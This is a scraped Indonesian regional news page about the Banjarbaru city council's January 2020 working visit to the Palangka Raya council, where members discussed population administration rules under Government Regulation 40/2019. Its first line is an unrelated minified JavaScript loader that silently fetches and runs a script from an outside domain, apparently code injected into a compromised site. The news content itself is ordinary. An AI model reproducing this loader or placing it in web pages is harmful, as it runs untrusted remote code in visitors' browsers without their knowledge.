(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

DPRD Banjarbaru Kunjungi DPRD Palangka Raya, Ini yang Dipelajari


KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 9 anggota DPRD Kota Banjarbaru melakukan kunjungan kerja ke DPRD Palangka Raya. Agenda kunjungan kerja (Kunker) itu membahas sistem penyelenggaraan administrasi kependudukan oleh Pemerintah Kota (Pemko) Palangka Raya, di ruang rapat Komisi DPRD Palangka Raya, Kamis (23/1/2020).

Kehadiran sejumlah wakil rakyat dari provinsi tetangga tersebut, dipimpin Ketua Komisi I DPRD Banjarbaru HR Budimansyah disambut staf ahli DPRD Palangka Raya Subari beserta jajaran, dan Kepala Dinas Kependudukan dan Pencatatan Sipil Palangka Raya Zulhikmah Ravieq.

HR Budimansyah menjelaskan, kedatangan pihaknya terutama menindaklanjuti terbitnya Peraturan Pemerintah (PP) Nomor 40 Tahun 2019 tentang Pelaksanaan Undang-Undang (UU) nomor 23 Tahun 2006 tentang Administrasi Kependudukan. DPRD Kota Banjarbaru saat ini, lanjut dia, tengah menggodok rancangan peraturan daerah (Raperda) tentang penyelenggaraan kependudukan, sehingga dirasakan perlu melakukan kaji banding terlebih dahulu ke wilayah lain.

“Perkembangan zaman, kepentingan dan teknologi  memaksa untuk membuat tata kelola menjadi lebih ringkas, aman dan valid, sehingga nantinya terbitlah aturan yang baru tersebut. Saya rasa seluruh pemerintah daerah juga telah mempersiapkan hal yang sama seperti kami. Selain ke Palangka Raya, kami juga Rabu (22/1) berkunjung ke DPRD Kuala Kapuas untuk membahas hal serupa,” jelas Budimansyah.

Dalam PP Nomor 40 Tahun 2019 tersebut, jelas Budimansyah, banyak ornamen dari penyelenggaraan administrasi kependudukan yang telah disesuaikan dan diubah, sehingga perda yang terdahulu di Kota Banjarbaru pun dituntut untuk bisa menyesuaikan secepatnya.

“Misalkan salah satu contoh yakni layanan KIA (Kartu Identitas Anak) yang perlu diatur ulang, karena itu juga merupakan bagian dari ornamen penyelenggaraan kependudukan. Banyak masukan yang diberikan oleh pihak DPRD  dan Disdukcapil Kota Palangka Raya, yang akan kami bawa ke Banjarbaru untuk dbahas lebih lanjut,” pungkas Budimansyah. (kanalkalimantan.com/rico/adv) 

Reporter : Rico
Editor : Bie

 


Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

5 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

6 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

7 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.